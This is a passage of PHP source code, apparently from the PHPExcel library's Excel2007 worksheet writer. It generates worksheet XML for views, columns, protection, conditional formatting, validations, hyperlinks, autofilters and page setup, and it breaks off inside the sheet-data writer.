PHPExcel_Shared_XMLWriter(PHPExcel_Shared_XMLWriter::STORAGE_MEMORY); } // XML header $objWriter->startDocument('1.0', 'UTF-8', 'yes'); // Worksheet $objWriter->startElement('worksheet'); $objWriter->writeAttribute('xml:space', 'preserve'); $objWriter->writeAttribute('xmlns', 'http://schemas.openxmlformats.org/spreadsheetml/2006/main'); $objWriter->writeAttribute('xmlns:r', 'http://schemas.openxmlformats.org/officeDocument/2006/relationships'); // sheetPr $this->writeSheetPr($objWriter, $pSheet); // Dimension $this->writeDimension($objWriter, $pSheet); // sheetViews $this->writeSheetViews($objWriter, $pSheet); // sheetFormatPr $this->writeSheetFormatPr($objWriter, $pSheet); // cols $this->writeCols($objWriter, $pSheet); // sheetData $this->writeSheetData($objWriter, $pSheet, $pStringTable); // sheetProtection $this->writeSheetProtection($objWriter, $pSheet); // protectedRanges $this->writeProtectedRanges($objWriter, $pSheet); // autoFilter $this->writeAutoFilter($objWriter, $pSheet); // mergeCells $this->writeMergeCells($objWriter, $pSheet); // conditionalFormatting $this->writeConditionalFormatting($objWriter, $pSheet); // dataValidations $this->writeDataValidations($objWriter, $pSheet); // hyperlinks $this->writeHyperlinks($objWriter, $pSheet); // Print options $this->writePrintOptions($objWriter, $pSheet); // Page margins $this->writePageMargins($objWriter, $pSheet); // Page setup $this->writePageSetup($objWriter, $pSheet); // Header / footer $this->writeHeaderFooter($objWriter, $pSheet); // Breaks $this->writeBreaks($objWriter, $pSheet); // Drawings and/or Charts $this->writeDrawings($objWriter, $pSheet, $includeCharts); // LegacyDrawing $this->writeLegacyDrawing($objWriter, $pSheet); // LegacyDrawingHF $this->writeLegacyDrawingHF($objWriter, $pSheet); $objWriter->endElement(); // Return return $objWriter->getData(); } else { throw new PHPExcel_Writer_Exception("Invalid PHPExcel_Worksheet object passed."); } } /** * Write SheetPr * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeSheetPr(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // sheetPr $objWriter->startElement('sheetPr'); //$objWriter->writeAttribute('codeName', $pSheet->getTitle()); if ($pSheet->getParent()->hasMacros()) {//if the workbook have macros, we need to have codeName for the sheet if ($pSheet->hasCodeName()==false) { $pSheet->setCodeName($pSheet->getTitle()); } $objWriter->writeAttribute('codeName', $pSheet->getCodeName()); } $autoFilterRange = $pSheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { $objWriter->writeAttribute('filterMode', 1); $pSheet->getAutoFilter()->showHideRows(); } // tabColor if ($pSheet->isTabColorSet()) { $objWriter->startElement('tabColor'); $objWriter->writeAttribute('rgb', $pSheet->getTabColor()->getARGB()); $objWriter->endElement(); } // outlinePr $objWriter->startElement('outlinePr'); $objWriter->writeAttribute('summaryBelow', ($pSheet->getShowSummaryBelow() ? '1' : '0')); $objWriter->writeAttribute('summaryRight', ($pSheet->getShowSummaryRight() ? '1' : '0')); $objWriter->endElement(); // pageSetUpPr if ($pSheet->getPageSetup()->getFitToPage()) { $objWriter->startElement('pageSetUpPr'); $objWriter->writeAttribute('fitToPage', '1'); $objWriter->endElement(); } $objWriter->endElement(); } /** * Write Dimension * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeDimension(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // dimension $objWriter->startElement('dimension'); $objWriter->writeAttribute('ref', $pSheet->calculateWorksheetDimension()); $objWriter->endElement(); } /** * Write SheetViews * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeSheetViews(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // sheetViews $objWriter->startElement('sheetViews'); // Sheet selected? $sheetSelected = false; if ($this->getParentWriter()->getPHPExcel()->getIndex($pSheet) == $this->getParentWriter()->getPHPExcel()->getActiveSheetIndex()) { $sheetSelected = true; } // sheetView $objWriter->startElement('sheetView'); $objWriter->writeAttribute('tabSelected', $sheetSelected ? '1' : '0'); $objWriter->writeAttribute('workbookViewId', '0'); // Zoom scales if ($pSheet->getSheetView()->getZoomScale() != 100) { $objWriter->writeAttribute('zoomScale', $pSheet->getSheetView()->getZoomScale()); } if ($pSheet->getSheetView()->getZoomScaleNormal() != 100) { $objWriter->writeAttribute('zoomScaleNormal', $pSheet->getSheetView()->getZoomScaleNormal()); } // View Layout Type if ($pSheet->getSheetView()->getView() !== PHPExcel_Worksheet_SheetView::SHEETVIEW_NORMAL) { $objWriter->writeAttribute('view', $pSheet->getSheetView()->getView()); } // Gridlines if ($pSheet->getShowGridlines()) { $objWriter->writeAttribute('showGridLines', 'true'); } else { $objWriter->writeAttribute('showGridLines', 'false'); } // Row and column headers if ($pSheet->getShowRowColHeaders()) { $objWriter->writeAttribute('showRowColHeaders', '1'); } else { $objWriter->writeAttribute('showRowColHeaders', '0'); } // Right-to-left if ($pSheet->getRightToLeft()) { $objWriter->writeAttribute('rightToLeft', 'true'); } $activeCell = $pSheet->getActiveCell(); // Pane $pane = ''; $topLeftCell = $pSheet->getFreezePane(); if (($topLeftCell != '') && ($topLeftCell != 'A1')) { $activeCell = empty($activeCell) ? $topLeftCell : $activeCell; // Calculate freeze coordinates $xSplit = $ySplit = 0; list($xSplit, $ySplit) = PHPExcel_Cell::coordinateFromString($topLeftCell); $xSplit = PHPExcel_Cell::columnIndexFromString($xSplit); // pane $pane = 'topRight'; $objWriter->startElement('pane'); if ($xSplit > 1) { $objWriter->writeAttribute('xSplit', $xSplit - 1); } if ($ySplit > 1) { $objWriter->writeAttribute('ySplit', $ySplit - 1); $pane = ($xSplit > 1) ? 'bottomRight' : 'bottomLeft'; } $objWriter->writeAttribute('topLeftCell', $topLeftCell); $objWriter->writeAttribute('activePane', $pane); $objWriter->writeAttribute('state', 'frozen'); $objWriter->endElement(); if (($xSplit > 1) && ($ySplit > 1)) { // Write additional selections if more than two panes (ie both an X and a Y split) $objWriter->startElement('selection'); $objWriter->writeAttribute('pane', 'topRight'); $objWriter->endElement(); $objWriter->startElement('selection'); $objWriter->writeAttribute('pane', 'bottomLeft'); $objWriter->endElement(); } } // Selection // if ($pane != '') { // Only need to write selection element if we have a split pane // We cheat a little by over-riding the active cell selection, setting it to the split cell $objWriter->startElement('selection'); if ($pane != '') { $objWriter->writeAttribute('pane', $pane); } $objWriter->writeAttribute('activeCell', $activeCell); $objWriter->writeAttribute('sqref', $activeCell); $objWriter->endElement(); // } $objWriter->endElement(); $objWriter->endElement(); } /** * Write SheetFormatPr * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeSheetFormatPr(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // sheetFormatPr $objWriter->startElement('sheetFormatPr'); // Default row height if ($pSheet->getDefaultRowDimension()->getRowHeight() >= 0) { $objWriter->writeAttribute('customHeight', 'true'); $objWriter->writeAttribute('defaultRowHeight', PHPExcel_Shared_String::FormatNumber($pSheet->getDefaultRowDimension()->getRowHeight())); } else { $objWriter->writeAttribute('defaultRowHeight', '14.4'); } // Set Zero Height row if ((string)$pSheet->getDefaultRowDimension()->getZeroHeight() == '1' || strtolower((string)$pSheet->getDefaultRowDimension()->getZeroHeight()) == 'true') { $objWriter->writeAttribute('zeroHeight', '1'); } // Default column width if ($pSheet->getDefaultColumnDimension()->getWidth() >= 0) { $objWriter->writeAttribute('defaultColWidth', PHPExcel_Shared_String::FormatNumber($pSheet->getDefaultColumnDimension()->getWidth())); } // Outline level - row $outlineLevelRow = 0; foreach ($pSheet->getRowDimensions() as $dimension) { if ($dimension->getOutlineLevel() > $outlineLevelRow) { $outlineLevelRow = $dimension->getOutlineLevel(); } } $objWriter->writeAttribute('outlineLevelRow', (int)$outlineLevelRow); // Outline level - column $outlineLevelCol = 0; foreach ($pSheet->getColumnDimensions() as $dimension) { if ($dimension->getOutlineLevel() > $outlineLevelCol) { $outlineLevelCol = $dimension->getOutlineLevel(); } } $objWriter->writeAttribute('outlineLevelCol', (int)$outlineLevelCol); $objWriter->endElement(); } /** * Write Cols * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeCols(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // cols if (count($pSheet->getColumnDimensions()) > 0) { $objWriter->startElement('cols'); $pSheet->calculateColumnWidths(); // Loop through column dimensions foreach ($pSheet->getColumnDimensions() as $colDimension) { // col $objWriter->startElement('col'); $objWriter->writeAttribute('min', PHPExcel_Cell::columnIndexFromString($colDimension->getColumnIndex())); $objWriter->writeAttribute('max', PHPExcel_Cell::columnIndexFromString($colDimension->getColumnIndex())); if ($colDimension->getWidth() < 0) { // No width set, apply default of 10 $objWriter->writeAttribute('width', '9.10'); } else { // Width set $objWriter->writeAttribute('width', PHPExcel_Shared_String::FormatNumber($colDimension->getWidth())); } // Column visibility if ($colDimension->getVisible() == false) { $objWriter->writeAttribute('hidden', 'true'); } // Auto size? if ($colDimension->getAutoSize()) { $objWriter->writeAttribute('bestFit', 'true'); } // Custom width? if ($colDimension->getWidth() != $pSheet->getDefaultColumnDimension()->getWidth()) { $objWriter->writeAttribute('customWidth', 'true'); } // Collapsed if ($colDimension->getCollapsed() == true) { $objWriter->writeAttribute('collapsed', 'true'); } // Outline level if ($colDimension->getOutlineLevel() > 0) { $objWriter->writeAttribute('outlineLevel', $colDimension->getOutlineLevel()); } // Style $objWriter->writeAttribute('style', $colDimension->getXfIndex()); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write SheetProtection * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeSheetProtection(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // sheetProtection $objWriter->startElement('sheetProtection'); if ($pSheet->getProtection()->getPassword() != '') { $objWriter->writeAttribute('password', $pSheet->getProtection()->getPassword()); } $objWriter->writeAttribute('sheet', ($pSheet->getProtection()->getSheet() ? 'true' : 'false')); $objWriter->writeAttribute('objects', ($pSheet->getProtection()->getObjects() ? 'true' : 'false')); $objWriter->writeAttribute('scenarios', ($pSheet->getProtection()->getScenarios() ? 'true' : 'false')); $objWriter->writeAttribute('formatCells', ($pSheet->getProtection()->getFormatCells() ? 'true' : 'false')); $objWriter->writeAttribute('formatColumns', ($pSheet->getProtection()->getFormatColumns() ? 'true' : 'false')); $objWriter->writeAttribute('formatRows', ($pSheet->getProtection()->getFormatRows() ? 'true' : 'false')); $objWriter->writeAttribute('insertColumns', ($pSheet->getProtection()->getInsertColumns() ? 'true' : 'false')); $objWriter->writeAttribute('insertRows', ($pSheet->getProtection()->getInsertRows() ? 'true' : 'false')); $objWriter->writeAttribute('insertHyperlinks', ($pSheet->getProtection()->getInsertHyperlinks() ? 'true' : 'false')); $objWriter->writeAttribute('deleteColumns', ($pSheet->getProtection()->getDeleteColumns() ? 'true' : 'false')); $objWriter->writeAttribute('deleteRows', ($pSheet->getProtection()->getDeleteRows() ? 'true' : 'false')); $objWriter->writeAttribute('selectLockedCells', ($pSheet->getProtection()->getSelectLockedCells() ? 'true' : 'false')); $objWriter->writeAttribute('sort', ($pSheet->getProtection()->getSort() ? 'true' : 'false')); $objWriter->writeAttribute('autoFilter', ($pSheet->getProtection()->getAutoFilter() ? 'true' : 'false')); $objWriter->writeAttribute('pivotTables', ($pSheet->getProtection()->getPivotTables() ? 'true' : 'false')); $objWriter->writeAttribute('selectUnlockedCells', ($pSheet->getProtection()->getSelectUnlockedCells() ? 'true' : 'false')); $objWriter->endElement(); } /** * Write ConditionalFormatting * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeConditionalFormatting(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // Conditional id $id = 1; // Loop through styles in the current worksheet foreach ($pSheet->getConditionalStylesCollection() as $cellCoordinate => $conditionalStyles) { foreach ($conditionalStyles as $conditional) { // WHY was this again? // if ($this->getParentWriter()->getStylesConditionalHashTable()->getIndexForHashCode($conditional->getHashCode()) == '') { // continue; // } if ($conditional->getConditionType() != PHPExcel_Style_Conditional::CONDITION_NONE) { // conditionalFormatting $objWriter->startElement('conditionalFormatting'); $objWriter->writeAttribute('sqref', $cellCoordinate); // cfRule $objWriter->startElement('cfRule'); $objWriter->writeAttribute('type', $conditional->getConditionType()); $objWriter->writeAttribute('dxfId', $this->getParentWriter()->getStylesConditionalHashTable()->getIndexForHashCode($conditional->getHashCode())); $objWriter->writeAttribute('priority', $id++); if (($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS || $conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT) && $conditional->getOperatorType() != PHPExcel_Style_Conditional::OPERATOR_NONE) { $objWriter->writeAttribute('operator', $conditional->getOperatorType()); } if ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT && !is_null($conditional->getText())) { $objWriter->writeAttribute('text', $conditional->getText()); } if ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT && $conditional->getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_CONTAINSTEXT && !is_null($conditional->getText())) { $objWriter->writeElement('formula', 'NOT(ISERROR(SEARCH("' . $conditional->getText() . '",' . $cellCoordinate . ')))'); } elseif ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT && $conditional->getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_BEGINSWITH && !is_null($conditional->getText())) { $objWriter->writeElement('formula', 'LEFT(' . $cellCoordinate . ',' . strlen($conditional->getText()) . ')="' . $conditional->getText() . '"'); } elseif ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT && $conditional->getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_ENDSWITH && !is_null($conditional->getText())) { $objWriter->writeElement('formula', 'RIGHT(' . $cellCoordinate . ',' . strlen($conditional->getText()) . ')="' . $conditional->getText() . '"'); } elseif ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT && $conditional->getOperatorType() == PHPExcel_Style_Conditional::OPERATOR_NOTCONTAINS && !is_null($conditional->getText())) { $objWriter->writeElement('formula', 'ISERROR(SEARCH("' . $conditional->getText() . '",' . $cellCoordinate . '))'); } elseif ($conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CELLIS || $conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_CONTAINSTEXT || $conditional->getConditionType() == PHPExcel_Style_Conditional::CONDITION_EXPRESSION) { foreach ($conditional->getConditions() as $formula) { // Formula $objWriter->writeElement('formula', $formula); } } $objWriter->endElement(); $objWriter->endElement(); } } } } /** * Write DataValidations * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeDataValidations(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // Datavalidation collection $dataValidationCollection = $pSheet->getDataValidationCollection(); // Write data validations? if (!empty($dataValidationCollection)) { $objWriter->startElement('dataValidations'); $objWriter->writeAttribute('count', count($dataValidationCollection)); foreach ($dataValidationCollection as $coordinate => $dv) { $objWriter->startElement('dataValidation'); if ($dv->getType() != '') { $objWriter->writeAttribute('type', $dv->getType()); } if ($dv->getErrorStyle() != '') { $objWriter->writeAttribute('errorStyle', $dv->getErrorStyle()); } if ($dv->getOperator() != '') { $objWriter->writeAttribute('operator', $dv->getOperator()); } $objWriter->writeAttribute('allowBlank', ($dv->getAllowBlank() ? '1' : '0')); $objWriter->writeAttribute('showDropDown', (!$dv->getShowDropDown() ? '1' : '0')); $objWriter->writeAttribute('showInputMessage', ($dv->getShowInputMessage() ? '1' : '0')); $objWriter->writeAttribute('showErrorMessage', ($dv->getShowErrorMessage() ? '1' : '0')); if ($dv->getErrorTitle() !== '') { $objWriter->writeAttribute('errorTitle', $dv->getErrorTitle()); } if ($dv->getError() !== '') { $objWriter->writeAttribute('error', $dv->getError()); } if ($dv->getPromptTitle() !== '') { $objWriter->writeAttribute('promptTitle', $dv->getPromptTitle()); } if ($dv->getPrompt() !== '') { $objWriter->writeAttribute('prompt', $dv->getPrompt()); } $objWriter->writeAttribute('sqref', $coordinate); if ($dv->getFormula1() !== '') { $objWriter->writeElement('formula1', $dv->getFormula1()); } if ($dv->getFormula2() !== '') { $objWriter->writeElement('formula2', $dv->getFormula2()); } $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write Hyperlinks * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeHyperlinks(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // Hyperlink collection $hyperlinkCollection = $pSheet->getHyperlinkCollection(); // Relation ID $relationId = 1; // Write hyperlinks? if (!empty($hyperlinkCollection)) { $objWriter->startElement('hyperlinks'); foreach ($hyperlinkCollection as $coordinate => $hyperlink) { $objWriter->startElement('hyperlink'); $objWriter->writeAttribute('ref', $coordinate); if (!$hyperlink->isInternal()) { $objWriter->writeAttribute('r:id', 'rId_hyperlink_' . $relationId); ++$relationId; } else { $objWriter->writeAttribute('location', str_replace('sheet://', '', $hyperlink->getUrl())); } if ($hyperlink->getTooltip() != '') { $objWriter->writeAttribute('tooltip', $hyperlink->getTooltip()); } $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write ProtectedRanges * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeProtectedRanges(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { if (count($pSheet->getProtectedCells()) > 0) { // protectedRanges $objWriter->startElement('protectedRanges'); // Loop protectedRanges foreach ($pSheet->getProtectedCells() as $protectedCell => $passwordHash) { // protectedRange $objWriter->startElement('protectedRange'); $objWriter->writeAttribute('name', 'p' . md5($protectedCell)); $objWriter->writeAttribute('sqref', $protectedCell); if (!empty($passwordHash)) { $objWriter->writeAttribute('password', $passwordHash); } $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write MergeCells * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeMergeCells(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { if (count($pSheet->getMergeCells()) > 0) { // mergeCells $objWriter->startElement('mergeCells'); // Loop mergeCells foreach ($pSheet->getMergeCells() as $mergeCell) { // mergeCell $objWriter->startElement('mergeCell'); $objWriter->writeAttribute('ref', $mergeCell); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write PrintOptions * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writePrintOptions(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // printOptions $objWriter->startElement('printOptions'); $objWriter->writeAttribute('gridLines', ($pSheet->getPrintGridlines() ? 'true': 'false')); $objWriter->writeAttribute('gridLinesSet', 'true'); if ($pSheet->getPageSetup()->getHorizontalCentered()) { $objWriter->writeAttribute('horizontalCentered', 'true'); } if ($pSheet->getPageSetup()->getVerticalCentered()) { $objWriter->writeAttribute('verticalCentered', 'true'); } $objWriter->endElement(); } /** * Write PageMargins * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writePageMargins(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // pageMargins $objWriter->startElement('pageMargins'); $objWriter->writeAttribute('left', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getLeft())); $objWriter->writeAttribute('right', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getRight())); $objWriter->writeAttribute('top', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getTop())); $objWriter->writeAttribute('bottom', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getBottom())); $objWriter->writeAttribute('header', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getHeader())); $objWriter->writeAttribute('footer', PHPExcel_Shared_String::FormatNumber($pSheet->getPageMargins()->getFooter())); $objWriter->endElement(); } /** * Write AutoFilter * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeAutoFilter(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { $autoFilterRange = $pSheet->getAutoFilter()->getRange(); if (!empty($autoFilterRange)) { // autoFilter $objWriter->startElement('autoFilter'); // Strip any worksheet reference from the filter coordinates $range = PHPExcel_Cell::splitRange($autoFilterRange); $range = $range[0]; // Strip any worksheet ref if (strpos($range[0], '!') !== false) { list($ws, $range[0]) = explode('!', $range[0]); } $range = implode(':', $range); $objWriter->writeAttribute('ref', str_replace('$', '', $range)); $columns = $pSheet->getAutoFilter()->getColumns(); if (count($columns > 0)) { foreach ($columns as $columnID => $column) { $rules = $column->getRules(); if (count($rules) > 0) { $objWriter->startElement('filterColumn'); $objWriter->writeAttribute('colId', $pSheet->getAutoFilter()->getColumnOffset($columnID)); $objWriter->startElement($column->getFilterType()); if ($column->getJoin() == PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_COLUMN_JOIN_AND) { $objWriter->writeAttribute('and', 1); } foreach ($rules as $rule) { if (($column->getFilterType() === PHPExcel_Worksheet_AutoFilter_Column::AUTOFILTER_FILTERTYPE_FILTER) && ($rule->getOperator() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_EQUAL) && ($rule->getValue() === '')) { // Filter rule for Blanks $objWriter->writeAttribute('blank', 1); } elseif ($rule->getRuleType() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_DYNAMICFILTER) { // Dynamic Filter Rule $objWriter->writeAttribute('type', $rule->getGrouping()); $val = $column->getAttribute('val'); if ($val !== null) { $objWriter->writeAttribute('val', $val); } $maxVal = $column->getAttribute('maxVal'); if ($maxVal !== null) { $objWriter->writeAttribute('maxVal', $maxVal); } } elseif ($rule->getRuleType() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_TOPTENFILTER) { // Top 10 Filter Rule $objWriter->writeAttribute('val', $rule->getValue()); $objWriter->writeAttribute('percent', (($rule->getOperator() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_PERCENT) ? '1' : '0')); $objWriter->writeAttribute('top', (($rule->getGrouping() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_TOPTEN_TOP) ? '1': '0')); } else { // Filter, DateGroupItem or CustomFilter $objWriter->startElement($rule->getRuleType()); if ($rule->getOperator() !== PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_COLUMN_RULE_EQUAL) { $objWriter->writeAttribute('operator', $rule->getOperator()); } if ($rule->getRuleType() === PHPExcel_Worksheet_AutoFilter_Column_Rule::AUTOFILTER_RULETYPE_DATEGROUP) { // Date Group filters foreach ($rule->getValue() as $key => $value) { if ($value > '') { $objWriter->writeAttribute($key, $value); } } $objWriter->writeAttribute('dateTimeGrouping', $rule->getGrouping()); } else { $objWriter->writeAttribute('val', $rule->getValue()); } $objWriter->endElement(); } } $objWriter->endElement(); $objWriter->endElement(); } } } $objWriter->endElement(); } } /** * Write PageSetup * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writePageSetup(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // pageSetup $objWriter->startElement('pageSetup'); $objWriter->writeAttribute('paperSize', $pSheet->getPageSetup()->getPaperSize()); $objWriter->writeAttribute('orientation', $pSheet->getPageSetup()->getOrientation()); if (!is_null($pSheet->getPageSetup()->getScale())) { $objWriter->writeAttribute('scale', $pSheet->getPageSetup()->getScale()); } if (!is_null($pSheet->getPageSetup()->getFitToHeight())) { $objWriter->writeAttribute('fitToHeight', $pSheet->getPageSetup()->getFitToHeight()); } else { $objWriter->writeAttribute('fitToHeight', '0'); } if (!is_null($pSheet->getPageSetup()->getFitToWidth())) { $objWriter->writeAttribute('fitToWidth', $pSheet->getPageSetup()->getFitToWidth()); } else { $objWriter->writeAttribute('fitToWidth', '0'); } if (!is_null($pSheet->getPageSetup()->getFirstPageNumber())) { $objWriter->writeAttribute('firstPageNumber', $pSheet->getPageSetup()->getFirstPageNumber()); $objWriter->writeAttribute('useFirstPageNumber', '1'); } $objWriter->endElement(); } /** * Write Header / Footer * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeHeaderFooter(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // headerFooter $objWriter->startElement('headerFooter'); $objWriter->writeAttribute('differentOddEven', ($pSheet->getHeaderFooter()->getDifferentOddEven() ? 'true' : 'false')); $objWriter->writeAttribute('differentFirst', ($pSheet->getHeaderFooter()->getDifferentFirst() ? 'true' : 'false')); $objWriter->writeAttribute('scaleWithDoc', ($pSheet->getHeaderFooter()->getScaleWithDocument() ? 'true' : 'false')); $objWriter->writeAttribute('alignWithMargins', ($pSheet->getHeaderFooter()->getAlignWithMargins() ? 'true' : 'false')); $objWriter->writeElement('oddHeader', $pSheet->getHeaderFooter()->getOddHeader()); $objWriter->writeElement('oddFooter', $pSheet->getHeaderFooter()->getOddFooter()); $objWriter->writeElement('evenHeader', $pSheet->getHeaderFooter()->getEvenHeader()); $objWriter->writeElement('evenFooter', $pSheet->getHeaderFooter()->getEvenFooter()); $objWriter->writeElement('firstHeader', $pSheet->getHeaderFooter()->getFirstHeader()); $objWriter->writeElement('firstFooter', $pSheet->getHeaderFooter()->getFirstFooter()); $objWriter->endElement(); } /** * Write Breaks * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @throws PHPExcel_Writer_Exception */ private function writeBreaks(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null) { // Get row and column breaks $aRowBreaks = array(); $aColumnBreaks = array(); foreach ($pSheet->getBreaks() as $cell => $breakType) { if ($breakType == PHPExcel_Worksheet::BREAK_ROW) { $aRowBreaks[] = $cell; } elseif ($breakType == PHPExcel_Worksheet::BREAK_COLUMN) { $aColumnBreaks[] = $cell; } } // rowBreaks if (!empty($aRowBreaks)) { $objWriter->startElement('rowBreaks'); $objWriter->writeAttribute('count', count($aRowBreaks)); $objWriter->writeAttribute('manualBreakCount', count($aRowBreaks)); foreach ($aRowBreaks as $cell) { $coords = PHPExcel_Cell::coordinateFromString($cell); $objWriter->startElement('brk'); $objWriter->writeAttribute('id', $coords[1]); $objWriter->writeAttribute('man', '1'); $objWriter->endElement(); } $objWriter->endElement(); } // Second, write column breaks if (!empty($aColumnBreaks)) { $objWriter->startElement('colBreaks'); $objWriter->writeAttribute('count', count($aColumnBreaks)); $objWriter->writeAttribute('manualBreakCount', count($aColumnBreaks)); foreach ($aColumnBreaks as $cell) { $coords = PHPExcel_Cell::coordinateFromString($cell); $objWriter->startElement('brk'); $objWriter->writeAttribute('id', PHPExcel_Cell::columnIndexFromString($coords[0]) - 1); $objWriter->writeAttribute('man', '1'); $objWriter->endElement(); } $objWriter->endElement(); } } /** * Write SheetData * * @param PHPExcel_Shared_XMLWriter $objWriter XML Writer * @param PHPExcel_Worksheet $pSheet Worksheet * @param string[] $pStringTable String table * @throws PHPExcel_Writer_Exception */ private function writeSheetData(PHPExcel_Shared_XMLWriter $objWriter = null, PHPExcel_Worksheet $pSheet = null, $pStringTable = null) { if (is_array($pStringTable)) { // Flipped stringtable, for faster index searching $aFlippedStringTable = $this->getParentWriter()->getWriterPart('stringtable')->flipStringTable($pStringTable); // sheetData $objWriter->startElement('sheetData'); // Get column count $colCount = PHPExcel_Cell::columnIndexFromString($pSheet->getHighestColumn()); // Highest row number $highestRow = $pSheet->getHighestRow(); // Loop through cells $cellsByRow = array(); foreach ($pSheet->getCellCollection() as $cellID) { $cellAddress = PHPExcel_Cell::coordinateFromString($cellID); $cellsByRow[$cellAddress[1]][] = $cellID; } $currentRow = 0; while ($currentRow++ < $highestRow) { // Get row dimension $rowDimension = $pSheet->getRowDimension($currentRow); // Write current row? $writeCurrentRow = isset($cellsByRow[$currentRow]) || $rowDimension->getRowHeight() >= 0 || $rowDimension->getVisible() == false || $rowDimension->getCollapsed() == true || $rowDimension->getOutlineLevel() > 0 || $rowDimension->getXfIndex() 